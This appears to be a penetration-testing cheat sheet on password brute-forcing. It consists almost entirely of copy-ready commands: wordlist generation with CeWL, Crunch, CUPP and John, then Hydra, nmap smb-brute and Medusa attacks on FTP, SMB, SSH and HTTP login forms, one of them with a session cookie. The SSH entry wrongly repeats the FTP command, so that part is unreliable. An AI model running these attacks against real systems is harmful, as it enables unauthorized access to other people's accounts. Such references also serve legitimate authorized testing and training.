Brute Forcing
Default Credentials
Wordlists
Wordlist Generation
CeWL
cewl example.com -m 3 -w wordlist.txtCrunch
Simple wordlist.
crunch 6 12 abcdefghijk1234567890\@\! -o wordlist.txtString permutation.
crunch 1 1 -p target pass 2019 -o wordlist.txtPatterns.
crunch 9 9 0123456789 -t @target@@ -o wordlist.txtPassword Profiling
CUPP
cupp -iWord Mangling
john
john --wordlist=wordlist.txt --rules --stdoutServices
FTP
Hydra
hydra -v -l ftp -P /usr/share/wordlists/rockyou.txt -f 10.0.0.3 ftpSMB
Hydra
hydra -v -t1 -l Administrator -P /usr/share/wordlists/rockyou.txt -f 10.0.0.3 smbNSE Script
sudo nmap --script smb-brute -p U:137,T:139 10.0.0.3SSH
Hydra
hydra -v -l ftp -P /usr/share/wordlists/rockyou.txt -f 10.0.0.3 ftpWeb Applications
HTTP Basic Auth
hydra -L users.txt -P /usr/share/wordlists/rockyou.txt example.com http-head /admin/HTTP Digest
hydra -L users.txt -P /usr/share/wordlists/rockyou.txt example.com http-get /admin/HTTP POST Form
hydra -l admin -P /usr/share/wordlists/rockyou.txt example.com https-post-form "/login.php:username=^USER^&password=^PASS^&login=Login:Not allowed"HTTP Authenticated POST Form
To add the session ID to the options string, simply append the Cookie header with the session ID, like so: :H=Cookie\: security=low; PHPSESSID=if0kg4ss785kmov8bqlbusva3v
hydra -l admin -P /usr/share/wordlists/rockyou.txt example.com https-post-form "/login.php:username=^USER^&password=^PASS^&login=Login:Not allowed:H=Cookie\: PHPSESSID=if0kg4ss785kmov8bqlbusva3v"Miscellaneous
Combo (Colon Separated) Lists
Hydra
Use a colon separated login:pass format, instead of -L/-P options.
hydra -v -C /usr/share/seclists/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt -f 10.0.0.3 ftpMedusa
The combo files used by Medusa should be in the format host:username:password, separated by colons. If any of these three values are missing, the relevant information should be provided either as a global value or as a list in a separate file.
sed s/^/:/ /usr/share/seclists/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt > /tmp/cplist.txt
medusa -C /tmp/cplist.txt -h 10.0.0.3 -M ftp
Last updated
Was this helpful?